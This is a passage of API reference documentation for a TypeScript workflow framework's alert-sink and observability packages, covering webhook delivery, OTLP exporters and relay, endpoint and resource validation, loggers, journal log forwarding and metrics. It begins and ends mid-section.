| `alertId`       | `(alert: Pick<Alert, "coalescingKey" \| "since">) => string`                                         | `alert:<coalescingKey>:<since>`. The identity a delivery is recorded under, stable for the life of one condition. A condition that clears and re-opens gets a new id. |

### Sinks

| Export                  | Signature                                                                                                  | What it is                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| ----------------------- | ---------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SinkService`           | `{ deliver: (alert: Alert) => Effect.Effect<void, AlertError> }`                                           | Where a raised alert is sent. `deliver` MUST be idempotent on `alertId(alert)`, and MUST fail when the page did not go out.                                                                                                                                                                                                                                                                                                                                                                          |
| `Sink`                  | `Context.Service` under `/notifications/AlertSink`                                                         | The service tag.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `layerNoop`             | `Layer<Sink>`                                                                                              | Accepts every alert and sends it nowhere. The admission and the delivery record still happen.                                                                                                                                                                                                                                                                                                                                                                                                        |
| `defaultWebhookTimeout` | `Duration.Duration`                                                                                        | Ten seconds.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `layerWebhook`          | `(options: { url: string; headers?: Record<string, string>; timeout?: Duration.Duration }) => Layer<Sink>` | POSTs each alert to one webhook using an owned Fetch client with redirects disabled and a scope per delivery. Injected `HttpClient` layers are not used. The body is the alert plus its `alertId`, and the same id is sent as an `Idempotency-Key` header, set after the caller's headers. A non-2xx answer is a failure; an endpoint that never answers fails after `timeout`. The delivery's HTTP span records the method, scheme, host, port and status, never the url's path, query or userinfo. |

| Export        | Shape                                                                                                           |
| ------------- | --------------------------------------------------------------------------------------------------------------- |
| `FailureCode` | `"sink_rejected" \| "sink_unreachable" \| "sink_timeout" \| "sink_misconfigured"`.                              |
| `AlertError`  | Tagged `/notifications/AlertError`: `{ code: FailureCode; message: string; status?: number; reason?: string }`. |

`sink_misconfigured` is the one code no alert ever carries. `layerWebhook`
validates its `url` while the layer is built, before any alert exists, and a url
that is not an absolute `http:` or `https:` one dies there rather than failing
through the delivery channel: a scheme bound is what keeps a credential set in
`headers` from being handed to something that is not HTTP.

`AlertError` deliberately holds no request. A webhook request carries the
credential the deployment handed `layerWebhook`, and an error is logged, encoded,
and journaled in places a credential must never reach.

### Runtime

| Export           | Shape                                                                                          |
| ---------------- | ---------------------------------------------------------------------------------------------- |
| `Tick`           | `{ delivered; failed; refused; suppressed }`, each a `ReadonlyArray<Alert>`.                   |
| `RuntimeService` | `{ tick: (runId: string) => Effect.Effect<Tick, Journal.JournalError \| NotificationError> }`. |
| `AlertRuntime`   | `Context.Service` under `/notifications/AlertRuntime`. The service tag.                        |

| Field of `Tick` | Meaning                                                                                                 |
| --------------- | ------------------------------------------------------------------------------------------------------- |
| `delivered`     | Raised and accepted by the sink on this tick.                                                           |
| `failed`        | The sink refused them. Retried on the next tick.                                                        |
| `refused`       | The notification queue was at capacity. The sink was not called, and they are retried on the next tick. |
| `suppressed`    | Already delivered, and not delivered again.                                                             |

| Export  | Signature                                                                                      | What it provides                                                                                                                                    |
| ------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| `layer` | `(policy: Policy) => Layer<AlertRuntime, never, Journal.Journal \| NotificationQueue \| Sink>` | The alert runtime over one policy. The policy is decoded when the layer is built, so a rule with an impossible delay fails the composition by name. |

| Export               | Value                                                                              |
| -------------------- | ---------------------------------------------------------------------------------- |
| `deliveredEventType` | `"flows.alerts.delivered"`. One entry per delivered alert.                         |
| `failedEventType`    | `"flows.alerts.failed"`. One entry per alert per failure code, never one per tick. |

A tick admits the alert, sends it, then journals the delivery. Admission is
idempotent and the send is not, so a crash between the first two costs a
duplicate admission the queue drops, while a crash between an accepted send and
the delivery record costs a duplicate page. That is why `deliver` is required to
deduplicate on `alertId`.

Both owned event types are excluded from condition detection: they are written
into the journal the detectors read, and they carry the alert's own vocabulary,
so reading them as evidence would let a page close the condition it paged about.

A `flows.alerts.delivered` entry suppresses a page only under the source the
alerter writes, `/notifications/alerts/<alertId>/delivered`. The same entry under
any other source is ignored. The journal does not bind a source to a writer, so
this keeps other producers' records out; it does not authenticate the writer.

See [`@smthrs/control`](/docs/reference/api/control/) for the run conditions the entries come
from.

Versioned human steers use a positive safe integer. A higher version replaces the
pending payload at its original position, with the same owner and delivery
binding. Promotion consumes the input: a later version returns `consumed: true`
with the consumed notification, without writing or changing the delivered payload. Older versions are no-ops;
reusing a version with different content refuses. Replacement and drain share
the journal transaction, including rollback and cross-process serialization.

---

# @smthrs/observability
https://smithers.sh/docs/reference/api/observability/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/observability/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/observability/docs)

> **Related APIs:** [`@smthrs/journal`](/docs/reference/api/journal/)

`@smthrs/observability` exports eight modules from its root entry point.
Import them from the root:

```ts
import { Endpoint, JournalLogger, Logger, Metric, Otel, Otlp, OtlpRelay, Resource } from "@smthrs/observability"
```

Two more modules are subpath-only, because each binds a host-specific
OpenTelemetry SDK. `@smthrs/observability/package.json` is exported.

| Import                              | Source                                                                                                                          | Platform |
| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/observability`             | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/src/index.ts)             | any      |
| `@smthrs/observability/NodeOtel`    | [src/NodeOtel.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/src/NodeOtel.ts)       | Node     |
| `@smthrs/observability/BrowserOtel` | [src/BrowserOtel.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/src/BrowserOtel.ts) | browser  |

The package is tested with `effect@4.0.5` and accepts `4.0.5`. Layers, services, and schemas
are Effect constructs: a `Layer` provides services, a scoped layer releases on
scope close, and a schema decodes to an `Effect`.

## Example

```ts
import { Otlp } from "@smthrs/observability"

const telemetry = Otlp.layerFetch({ baseUrl: "http://localhost:4318", serviceName: "deploy-status" })
const program = Effect.logInfo("deploying the API").pipe(Effect.withSpan("deploy"))

await Effect.runPromise(program.pipe(Effect.provide(telemetry), Effect.orDie, Effect.scoped))
```

## Otlp

The default exporter. `Otlp` composes `effect/observability/Otlp` and
nothing else, so it allocates no OpenTelemetry SDK and never resolves a `node:`
built-in. All three signals are JSON-serialized and posted below the configured
base URL at `/v1/logs`, `/v1/metrics`, and `/v1/traces`.

### Otlp.Options

```ts
interface Options {
  readonly baseUrl: string
  readonly serviceName?: string | undefined
  readonly serviceVersion?: string | undefined
  readonly attributes?: Record<string, unknown> | undefined
  readonly headers?: Headers.Input | undefined
  readonly exportInterval?: Duration.Input | undefined
  readonly shutdownTimeout?: Duration.Input | undefined
  readonly spans?: ReadonlyArray<string> | undefined
  readonly maxRequestBytes?: number | undefined
  readonly maxRecords?: number | undefined
}
```

- `baseUrl`: the collector base URL, for example `http://localhost:4318`. It
  must be an absolute `http://` or `https://` URL without credentials, query,
  fragment, backslashes, spaces, or controls; anything else fails acquisition with
  `Endpoint.InvalidExporterEndpoint` on path `baseUrl`.
- `serviceName`, `serviceVersion`: the `service.name` and `service.version`
  resource attributes. Default to `defaultServiceName` and
  `defaultServiceVersion`.
- `attributes`: additional resource attributes attached to every exported
  signal, decoded by `Resource.Attributes`.
- `headers`: sent with every export request, which is where vendor
  authentication goes. A header whose name names a credential
  (`authorization`, `x-api-key`, `x-honeycomb-team`, any name
  `Redaction.isSensitiveKey` recognizes) requires an `https://` `baseUrl` unless the host is `localhost`,
  `127.0.0.0/8`, or `[::1]`; otherwise acquisition fails with
  `Endpoint.InvalidExporterEndpoint` on path `baseUrl`. The check reads
  header names only: a credential under any other name is sent as given, so
  use `https://` for every remote collector.
- `exportInterval`: the export cadence applied to all three signals. Omitted,
  each signal keeps Effect's own default.
- `shutdownTimeout`: upper bound on the flush performed when the layer's scope
  closes.
- `spans`: the span names exported. Omitted, every span is. A span off the
  list still runs and still parents: its children keep its trace id and name
  it as their parent, so a collector sees them with a parent it never
  received. Logs and metrics are unaffected. Pass the span names of an
  `OtlpRelay.serve` allowlist so the exporter never sends what the relay
  drops.
- `maxRequestBytes`: the largest request the collector accepts, in encoded
  bytes; at most and by default `maxRequestBytes` (1 MiB). A larger batch is
  split into several requests under it.
- `maxRecords`: the most records one request carries: spans, log records, or
  metric data points. Omitted, a request carries a whole batch. Pass
  `OtlpRelay.serve`'s `maxBodyBytes` and `maxRecords` here so a burst reaches
  the relay whole instead of answered `413` or cut short.

### Otlp.layer

```ts
const layer: (options: Options) => Layer.Layer<
  never,
  Resource.InvalidResourceConfiguration | Endpoint.InvalidExporterEndpoint,
  HttpClient.HttpClient
>
```

Installs the OTLP logs, metrics, and traces exporters with the flows resource
defaults filled in. It requires an Effect `HttpClient`, which is how it stays
platform-neutral: a Node host may provide Undici, a browser or a test provides
something else. Both configuration inputs are decoded during acquisition, so
the returned layer either exports or refuses. Ambient `OTEL_RESOURCE_ATTRIBUTES`
cannot add unvalidated metadata to these explicit resources.

A batch over `Options.maxRequestBytes` or `Options.maxRecords` is split into
requests under both, in order, each record with its own resource and scope; a
metric's data points are spread over requests when they must be. The parts go
one after another under one of the four request slots. A refused part answers
for the whole batch, which the exporter retries, so a part may arrive twice
but none is lost. A record too large for any request on its own, a request
stalled for ten seconds, and a batch finding all four slots occupied are
discarded locally. Each discard increments
`flows_observability_otlp_dropped`. A `Warn` diagnostic with code
`otlp_export_discarded` reports `reason` (`oversized`, `stalled`, or `saturated`),
`bytes`, `limit`, and cumulative `dropped` at most once per minute per transport.
It uses the logger set captured before this exporter is installed, so it cannot
re-enter this exporter. Request bodies, headers, URLs, and ambient log
annotations are omitted. Keep an ambient sink outside OTLP at level `Warn` or
lower to observe loss independently; empty or filtered loggers cannot report it.

### Otlp transport constants

```ts
const maxRequestBytes: number // 1048576 (1 MiB)
const maximumEnvelopeBytes: number // 8192 (8 KiB)
const reservedBatchBytes: number // 909312 (888 KiB)
```

The resource ceiling is 128 KiB. Another 8 KiB covers JSON wrappers and the
instrumentation scope. A metrics request repeats the service name as its scope
name (at most 6 KiB after escaping). Log and trace requests name their scope
`effect` with the Effect version. The remaining 888 KiB gives each record in the upstream 1,000-record
log or span batch about 909 bytes, several times a bare record. This guarantees
room for ordinary signal batches, not arbitrary record sizes or metric registry
cardinality.

### Otlp.layerFetch

```ts
const layerFetch: (options: Options) => Layer.Layer<
  never,
  Resource.InvalidResourceConfiguration | Endpoint.InvalidExporterEndpoint
>
```

`layer` with `FetchHttpClient.layer` already provided, which binds the host's
global `fetch`. This is the default wiring on Node 26 and the only one that is
browser-safe by construction.

```ts
const Telemetry = Otlp.layerFetch({ baseUrl: "http://localhost:4318" })
```

### Otlp.layerEnvironment

```ts
const layerEnvironment: (
  environment: Readonly<Record<string, string | undefined>>,
  options?: Omit<Options, "baseUrl" | "headers">
) => Layer.Layer<never, Otlp.LayerError>
```

`layerFetch` against `OTEL_EXPORTER_OTLP_ENDPOINT` with the headers
`Otlp.parseHeaders` reads from `OTEL_EXPORTER_OTLP_HEADERS`. An unset or blank
endpoint returns `layerNoop`, so no exporter is installed. `LayerError` is
`Resource.InvalidResourceConfiguration | Endpoint.InvalidExporterEndpoint`.

### Otlp.parseHeaders

```ts
const parseHeaders: (value: string | undefined) => Record<string, string>
```

Reads the OpenTelemetry `key=value,key=value` header list and percent-decodes
each value. Pairs without `=` or with an empty key are skipped; a malformed
escape is kept verbatim.

### Otlp.layerNoop

```ts
const layerNoop: Layer.Layer<never>
```

Provides nothing and exports nothing. The explicit stand-in for a host with no
collector, so wiring code switches layers rather than branching.

### Otlp.defaultServiceName

```ts
const defaultServiceName: string // "flows"
```

The `service.name` attribute installed when the caller supplies none.

### Otlp.defaultServiceVersion

```ts
const defaultServiceVersion: string // "1.0.0-rc.0"
```

The `service.version` attribute installed when the caller supplies none. It
mirrors this package's release version, held as a literal because a published
package cannot read its own manifest on every runtime it supports.

### Delivery behavior

Effect's exporter retries a transient failure three times, honoring a
`retry-after` response header on any retried status when one is present, then
disables that exporter for 60 seconds and logs a `Debug` record. Export failure
never fails the application effect and never surfaces as an unhandled
rejection. Closing the layer's scope performs the final flush, bounded by
`shutdownTimeout`.

The exporter acts on a response's status and `retry-after` header only. It
never reads the response body: each exchange ends when the status arrives, so
a collector that never finishes its answer cannot stall a signal.

The shape of what a collector receives is in
[Export to an OTLP collector](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/docs/guides/export-to-a-collector.md#what-the-collector-receives).

## OtlpRelay

The receiving half of `Otlp`: an `effect/http` handler that takes OTLP/HTTP
JSON exports, such as a browser's, and re-emits each record as an Effect log
line. Imports `effect` and the journal's redaction rules, and no `node:`
built-in; runs in a Cloudflare Worker. Guide:
[Relay browser telemetry through your own Worker](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/observability/docs/guides/relay-browser-telemetry.md).

### OtlpRelay.serve

```ts
const serve: (
  options?: OtlpRelay.Options
) => Effect.Effect<HttpServerResponse, never, HttpServerRequest>

interface Options {
  readonly maxBodyBytes?: number // default 256 KiB, counted while reading
  readonly maxRecords?: number // default 1000 per request
  readonly allow?: Allowlist // default: every record and field
}

interface Allowlist {
  readonly records: ReadonlyArray<string> // log bodies, span names and metric names relayed
  readonly fields: ReadonlyArray<string> // keys a relayed line keeps, the relay's own included
}
```

Answers POST to any path ending in `/v1/logs`, `/v1/traces` or `/v1/metrics`.
Each log record, span and metric data point becomes one `Effect.log` line: the
message is the body, span name or metric name; the level follows
`severityLevel`, with errored spans at `Error`. Lines carry `otlp.signal`,
`service.name`, the record's attributes flattened with dotted keys, and as they
apply `otlp.severity`, `trace_id`, `span_id`, `otlp.parent_span_id`,
`otlp.duration_ms`, `otlp.status_message`, `otlp.metric_type`, `otlp.unit`,
`otlp.value`, `otlp.count` and `otlp.sum`. A key `Redaction.isSensitiveKey`
names a credential is removed with any keys nested under it. With `allow`, a
record whose name `records` does not list is dropped, and a field whose key
`fields` does not list is removed; a log record's name is its body, so a
structured body never matches. The finished line, its message and every field
the relay added included, then passes `Redaction.redact`.

| Status | When                                                                                |
| ------ | ----------------------------------------------------------------------------------- |
| 200    | `{}`, or an OTLP `partialSuccess` counting records off `allow` or past `maxRecords` |
| 400    | the body is not OTLP JSON, nests deeper than `maxNesting`, or fails to stream       |
| 404    | the path does not end in a signal                                                   |
| 405    | the method is not POST; `Allow: POST`                                               |
| 413    | the body passes `maxBodyBytes`                                                      |

It never fails and never echoes a parse error. `Metric.relayedRecords` counts
records by `signal`, and `Metric.relayDroppedRecords` by `signal` and `reason`
(`not_allowed` or `over_limit`).

### OtlpRelay.severityLevel

```ts
const severityLevel: (severityNumber: number | undefined, severityText: string | undefined) => LogLevel.Severity
```

`severityNumber` 1-4 is `Trace`, 5-8 `Debug`, 9-12 `Info`, 13-16 `Warn`, 17-20
`Error`, 21 and up `Fatal`. Without one, the leading word of `severityText`
decides; with neither, `Info`.

### OtlpRelay constants

```ts
const defaultMaxBodyBytes: number // 262144
const defaultMaxRecords: number // 1000
const maxNesting: number // 64
type Signal = "logs" | "traces" | "metrics"
```

## Endpoint

Validated collector endpoints, shared by every OTLP builder. The endpoint is
the field an operator most often gets wrong, and a wrong one is invisible after
acquisition, so it is decoded before any exporter exists.

### Endpoint.Endpoint

```ts
const Endpoint: Schema.String.check(...)
```

Runtime schema for an absolute `http:` or `https:` collector endpoint of at
most `maximumEndpointLength` characters that carries no credentials, query,
fragment, backslashes, spaces, or controls. A base path is allowed;
authentication belongs in exporter headers. Query and fragment suffixes are
rejected because appending `/v1/traces` to them does not change the request
path. A value the WHATWG URL parser would repair rather
than parse as written is refused, because the repaired URL is not the one the
exporter would post to.

### Endpoint.maximumEndpointLength

```ts
const maximumEndpointLength: number // 2048
```

Largest collector endpoint accepted by a builder.

### Endpoint.decode

```ts
const decode: (endpoint: unknown, path: string) => Effect.Effect<string, InvalidExporterEndpoint>
```

Decodes one endpoint into its normalized form. `path` names the option the
endpoint arrived on, so the refusal points at the caller's own field rather
than at a shared internal name. The rejected value is not retained in the
error.

### Endpoint.InvalidExporterEndpoint

```ts
class InvalidExporterEndpoint {
  readonly code: "invalid_exporter_endpoint"
  readonly path: string
  readonly message: string
}
```

The stable exporter-endpoint refusal shared by `Otlp.layer`,
`Otlp.layerFetch` (`path` is `baseUrl`), and `NodeOtel.layerOtel` (`path` is
`endpoint`).

### Endpoint.normalize

```ts
const normalize: (endpoint: string) => string
```

Removes repeated trailing separators, so `http://host//` and `http://host` both
produce one signal URL.

### Endpoint.signalUrl

```ts
const signalUrl: (endpoint: string, signal: "traces" | "metrics" | "logs") => string
```

Builds the OTLP/HTTP URL one signal is posted to below a decoded endpoint:
`signalUrl("http://host", "traces")` is `http://host/v1/traces`.

## Resource

Explicit, validated OpenTelemetry resource metadata. Every public OTEL builder
in this package decodes the same `Configuration`. Resource metadata comes from
the caller and the SDK's fixed telemetry fields. Neither the default exporter
nor the Node SDK layer merges ambient resource configuration after validation.

### Resource.Configuration

```ts
const Configuration: Schema.Struct<{
  serviceName: Schema.String
  serviceVersion: Schema.optional<Schema.String>
  attributes: Schema.optional<typeof Attributes>
}>
type Configuration = typeof Configuration.Type
```

The service identity attached to exported telemetry. `serviceName` and
`serviceVersion` are non-empty, well formed, and at most
`maximumIdentityLength` UTF-16 code units.

### Resource.Attributes and Resource.AttributeValue

```ts
const AttributeValue: Schema.Union<[...]>
const Attributes: Schema.Record<Schema.String, typeof AttributeValue>
```

`AttributeValue` accepts a string of at most `maximumAttributeStringLength`
code units, a finite number, a boolean, or a homogeneous array of one of those
scalar types, with at most `maximumAttributeArrayLength` elements. `Attributes` bounds the record at `maximumAttributes` entries
with non-empty, well formed keys of at most `maximumAttributeKeyLength` code
units. NUL and unpaired UTF-16 surrogates are refused in keys and in values;
valid astral Unicode is preserved.

### Resource constants

```ts
const maximumIdentityLength: number // 1024
const maximumAttributeKeyLength: number // 1024
const maximumAttributeStringLength: number // 65536
const maximumAttributes: number // 256
const maximumAttributeArrayLength: number // 256
const maximumResourceBytes: number // 131072 (128 KiB)
```

The resource byte limit counts the complete OTLP JSON resource, including
identity, SDK-added `telemetry.sdk.name`, `telemetry.sdk.language` and
`telemetry.sdk.version`, attribute keys, scalar and array wrappers, escaping,
and UTF-8. The SDK's own values are reserved even for the default Effect
exporter, and a caller attribute that replaces one of them is conservatively
counted beside it.
Counting stops at the first fragment over budget to bound intermediate
allocations; the error reports the measured lower bound and byte limit at path
`attributes`. Array-length errors report the measured element count and limit
at the attribute path. No rejected attribute values are retained.

All resource-accepting layers and `decode`, `decodeSync`, and
`configToAttributes` enforce these bounds before exporter acquisition.
Explicit `serviceName` and `serviceVersion` take precedence over attributes
with those keys. Admission conservatively counts those redundant attributes.

### Resource.decode

```ts
const decode: (configuration: unknown) => Effect.Effect<Configuration, InvalidResourceConfiguration>
```

Decodes one resource configuration without retaining rejected values.

### Resource.decodeSync

```ts
const decodeSync: (configuration: unknown) => Configuration
```

The same decoding for the package's pure projection API. Throws
`InvalidResourceConfiguration` rather than failing an effect.

### Resource.InvalidResourceConfiguration

```ts
class InvalidResourceConfiguration {
  readonly code: "invalid_resource_configuration"
  readonly path: string
  readonly message: string
}
```

The stable resource refusal shared by every layer here. `path` is a dotted
route into the offending field, such as `serviceName` or `attributes.region`,
and is the bare `resource` when the whole configuration was malformed.

### Resource.toOpenTelemetryConfiguration

```ts
const toOpenTelemetryConfiguration: (configuration: Configuration) => {
  readonly serviceName: string
  readonly serviceVersion?: string
  readonly attributes?: Attributes
}
```

Projects a decoded resource into the exact optional-property shape the
OpenTelemetry SDK expects, omitting absent optional fields rather than setting
them to `undefined`.

### Resource.configToAttributes

```ts
const configToAttributes: (configuration: Configuration) => Attributes
```

Converts explicit service metadata into OpenTelemetry resource attributes.
Invalid metadata throws the same typed `InvalidResourceConfiguration` a layer
returns during acquisition.

### Resource.layer

```ts
const layer: (configuration: Configuration) => Layer.Layer<Resource, InvalidResourceConfiguration>
```

Provides an explicitly validated OpenTelemetry resource, for a composition that
assembles the rest of the SDK itself.

### Resource.Resource

The OpenTelemetry resource service tag, re-exported from
`@effect/opentelemetry/Resource`.

## Logger

Effect logger layers. All four follow two rules: `mergeWithExisting` defaults
to `false`, so installing one replaces the ambient logger set, and
`minimumLogLevel` is applied only when the caller names it.

### Logger.Options

```ts
interface Options {
  readonly minimumLogLevel?: LogLevel.LogLevel | undefined
  readonly mergeWithExisting?: boolean | undefined
}
```

- `minimumLogLevel`: pins `References.MinimumLogLevel` for the whole
  application. Omitted, the layer leaves that reference alone and Effect's own
  `Info` default applies.
- `mergeWithExisting`: keeps the ambient loggers alongside this one. Defaults
  to `false`.

### Logger.layerPrettyDev

```ts
const layerPrettyDev: (options?: Options) => Layer.Layer<never>
```

A human-readable development logger, with colors and mode chosen from the
output it finds.

### Logger.layerStructuredJson

```ts
const layerStructuredJson: (options?: Options) => Layer.Layer<never>
```

One structured JSON object per log line: the record `Logger.formatStructured`
builds, written to the console.

### Logger.formatStructured

```ts
const formatStructured: Logger.Logger<unknown, {
  readonly level: string
  readonly fiberId: string
  readonly timestamp: string
  readonly message: unknown
  readonly cause: string | undefined
  readonly annotations: Record<string, unknown>
  readonly spans: Record<string, number>
}>
```

Effect's structured record of a log line, with the current span's `trace_id`
and `span_id` among its annotations when the line is logged inside a span.
They are the names `OtlpRelay` gives a relayed record's ids, so a service's own
lines and the browser records it relays join on the trace. An annotation the
caller set under either name wins. Outside a span, the record is Effect's own.

### Logger.layerNoop

```ts
const layerNoop: (options?: Pick<Options, "minimumLogLevel">) => Layer.Layer<never>
```

Removes the active logger set. This is the one exception to the second rule:
silencing is its purpose, so it pins `None` unless the caller names another
level.

### Logger.layer

```ts
const layer: (logger: Logger.Logger<unknown, unknown>, options?: Options) => Layer.Layer<never>
```

Installs a caller-supplied logger under the same two rules.

## JournalLogger

Non-blocking forwarding of bounded operational logs to the durable journal. The
callback reads the queue's remaining room, snapshots and redacts a bounded
record synchronously only when a slot is free, then performs only queue
admission; a forked worker drains the queue into the journal. A record a full
queue cannot take is counted and discarded without being snapshotted.

### JournalLogger.Options

```ts
interface Options {
  readonly runId: JournalEvent.RunId
  readonly capacity?: number | undefined
  readonly minimumLogLevel?: LogLevel.LogLevel | undefined
  readonly mergeWithExisting?: boolean | undefined
}
```

- `runId`: the run every forwarded record is attributed to.
- `capacity`: queue depth, 1 through `maximumCapacity`. Defaults to 256.
- `minimumLogLevel` and `mergeWithExisting`: as on `Logger.Options`.

### JournalLogger.layerJournalForwarding

```ts
const layerJournalForwarding: (
  options: Options
) => Layer.Layer<never, InvalidJournalLoggerOptions, Journal.Journal>
```

Installs a bounded, drop-on-overflow forwarder for one explicit run.
Configuration is decoded before a worker starts, so an invalid run id or
capacity fails acquisition rather than being routed through the lossy worker.

Each record becomes one journal entry on the lossy channel, with `eventType`
`telemetry.log`, source `flows/observability/logger`, and a `TelemetryLog`
payload. The durable journal allocates the per-source sequence, so a rebuilt or
concurrently running layer for one run cannot reuse an identity.

Overflow, journal delivery failures, and journal defects are telemetry losses
rather than application failures. Each advances `Metric.droppedLogRecords`; the
two failure paths also log a warning annotated with the run id, and the worker
keeps draining. Interruption stays fatal, and closing the scope may drop
records queued behind an in-flight write.

### JournalLogger.TelemetryLog

```ts
const TelemetryLog: Schema.Struct<{
  version: Schema.Literal<1>
  level: Schema.Literals<["All", "Fatal", "Error", "Warn", "Info", "Debug", "Trace", "None"]>
  message: Schema.Unknown
  annotations: Schema.Record<Schema.String, Schema.Unknown>
  cause: typeof TelemetryCause
  fiberId: Schema.Int
  traceId: Schema.optionalKey<Schema.String>
  spanId: Schema.optionalKey<Schema.String>
  timestamp: Schema.String
}>
type TelemetryLog = typeof TelemetryLog.Type
```

The durable wire shape of one forwarded log record. `traceId` and `spanId` are
present only when a span was active. `timestamp` is ISO-8601. Every persisted
`telemetry.log` payload decodes with this schema: a projection that would not
degrades to a total record with an empty cause rather than to a payload
consumers throw on.

### JournalLogger.TelemetryCause

```ts
const TelemetryCause: Schema.Struct<{
  version: Schema.Literal<1>
  reasons: Schema.Array<typeof TelemetryCauseReason>
}>
type TelemetryCause = typeof TelemetryCause.Type
```

A versioned structural Effect cause. Effect stores composed failures as an
ordered reason list, and the projection preserves that order and each
discriminator.

### JournalLogger.TelemetryCauseReason

```ts
const TelemetryCauseReason: Schema.Union<[
  typeof TelemetryFail,
  typeof TelemetryDie,
  typeof TelemetryInterrupt
]>
type TelemetryCauseReason = typeof TelemetryCauseReason.Type
```

One reason in a persisted cause. `TelemetryFail` carries `error`,
`TelemetryDie` carries `defect`, and `TelemetryInterrupt` carries a
non-negative `fiberId` or `null`. All three are exported individually.

### JournalLogger.InvalidJournalLoggerOptions

```ts
class InvalidJournalLoggerOptions {
  readonly code: "invalid_journal_logger_options"
  readonly path: string
  readonly message: string
}
```

The stable logger-configuration refusal, raised during layer acquisition.

### JournalLogger constants

```ts
const maximumCapacity: number // 65536
const maximumSnapshotBytes: number // 1048576
const maximumSnapshotMembers: number // 4096
const maximumSnapshotDepth: number // 64
const unrenderableMarker: string // "[Unrenderable]"
const truncatedMarker: string // "[Truncated]"
```

A snapshot admits at most `maximumSnapshotBytes` of encoded data,
`maximumSnapshotMembers` container members, and `maximumSnapshotDepth`
container edges. Unreadable values become `unrenderableMarker`, values past a
ceiling become `truncatedMarker`, and deeper values become the journal's
`[Deep]` marker. Container-shaped fields keep their shape, so annotations that
spent the whole budget arrive as `{ "[Truncated]": "[Truncated]" }` rather than
as a scalar. Text is bounded in one pass that never cuts a surrogate pair, and
the journal's own redaction rules run before queue admission.

## Metric

The runtime signals that cross package boundaries. Producers live in the
packages that know when to advance them; this module owns only the identifiers
and the handles.

### Metric handles

```ts
const runThroughput: Metric.Counter // "flows_run_throughput"
const activeSeats: Metric.Gauge // "flows_seat_active"
const quotaParks: Metric.Counter // "flows_quota_park"
const structuredOutputRejections: Metric.Counter // "flows_agent_structured_output_rejections"
const structuredOutputExhausted: Metric.Counter // "flows_agent_structured_output_exhausted"
const droppedLogRecords: Metric.Counter // "flows_observability_log_dropped"
const relayedRecords: Metric.Counter // "flows_observability_otlp_relayed"
const relayDroppedRecords: Metric.Counter // "flows_observability_otlp_relay_dropped"
```

- `runThroughput` advances after a terminal run transition commits in
  [`@smthrs/run-store`](/docs/reference/api/run-store/).
- `activeSeats` is held for the lifetime of a production `Agent.run` stream in
  [`@smthrs/agent`](/docs/reference/api/agent/) and released on success, failure, or
  interruption.
- `quotaParks` advances when a sealed quota decision is first executed, not
  when it is replayed after a wake or a process restart.
- `structuredOutputRejections` advances once per agent answer its declared
  output schema refuses, in the same session or a fresh one.
- `structuredOutputExhausted` advances once per agent step that fails after
  spending every output correction and its repair.
- `droppedLogRecords` advances once per record lost by `JournalLogger`.
- `relayedRecords` advances per record `OtlpRelay.serve` relays, with a
  `signal` attribute. `relayDroppedRecords` advances per record it drops, with
  `signal` and `reason`: `not_allowed` off its allowlist, `over_limit` past
  `maxRecords`.

Step-cache lookup and write counters remain owned by
[`@smthrs/step-cache`](/docs/reference/api/step-cache/); this package does not duplicate those
handles.

### Metric.registry

```ts
const registry: {
  readonly runThroughput: typeof runThroughput
  readonly activeSeats: typeof activeSeats
  readonly quotaParks: typeof quotaParks
  readonly structuredOutputRejections: typeof structuredOutputRejections
  readonly structuredOutputExhausted: typeof structuredOutputExhausted
  readonly droppedLogRecords: typeof droppedLogRecords
}
```

All six handles as one object, for a host that enumerates them. The six
series names are the dashboard contract; treat them as public API.

## Otel

Provider-neutral composition for OpenTelemetry providers the application
already built. This module allocates no exporter.

### Otel.Options

```ts
interface Options {
  readonly resource: Resource.Configuration
  readonly tracerProvider?:
    | Api.TracerProvider
    | ((resource: Resource) => Api.TracerProvider)
    | undefined
  readonly loggerProvider?:
    | LoggerProvider
    | ((resource: Resource) => LoggerProvider)
    | undefined
  readonly metricReader?: (() => MetricReader | ReadonlyArray<MetricReader>) | undefined
  readonly loggerMergeWithExisting?: boolean | undefined
  readonly metricTemporality?: OtelMetrics.TemporalityPreference | undefined
}
```

`metricTemporality` is `"cumulative"` or `"delta"`.

Ownership differs by field. `tracerProvider` and `loggerProvider` are borrowed:
the layer bridges onto them and never flushes or shuts one down, including a
provider a factory returned. `metricReader` is owned: the factory runs once
during layer acquisition, after resource validation, and closing the layer's
scope shuts down every reader it returned. Build the readers inside the
factory. Returning a reader that a longer-lived composition still exports
through disables that reader when this scope closes.

### Otel.layerOtel

```ts
const layerOtel: (options: Options) => Layer.Layer<never, Resource.InvalidResourceConfiguration>
```

Bridges Effect's tracer, logger, and metrics onto the supplied providers and
the readers the `metricReader` factory returns, over the validated resource.
Spans and log records carry the instrumentation scope `effect` with the Effect
version.
Each bridge is installed only when its provider or factory is supplied, and a
factory that returns an empty array registers no reader at all.

### Otel.layerNoop

```ts
const layerNoop: Layer.Layer<never>
```

A no-op OTEL layer, for callers that want an explicit optional slot.

## NodeOtel

Node-only OTLP/HTTP OpenTelemetry SDK setup. Import it from
`@smthrs/observability/NodeOtel`; it is not re-exported from the root, because
it resolves Node-only host modules and would break the root's browser bundle.

### NodeOtel.Options

```ts
interface Options {
  readonly endpoint: string
  readonly resource: Resource.Configuration
  readonly shutdownTimeout?: Duration.Input | undefined
  readonly exportIntervalMillis?: number | undefined
}
```

`endpoint` is decoded exactly as `Otlp.Options.baseUrl` is, and a refusal names
the path `endpoint`.

### NodeOtel.layerOtel

```ts
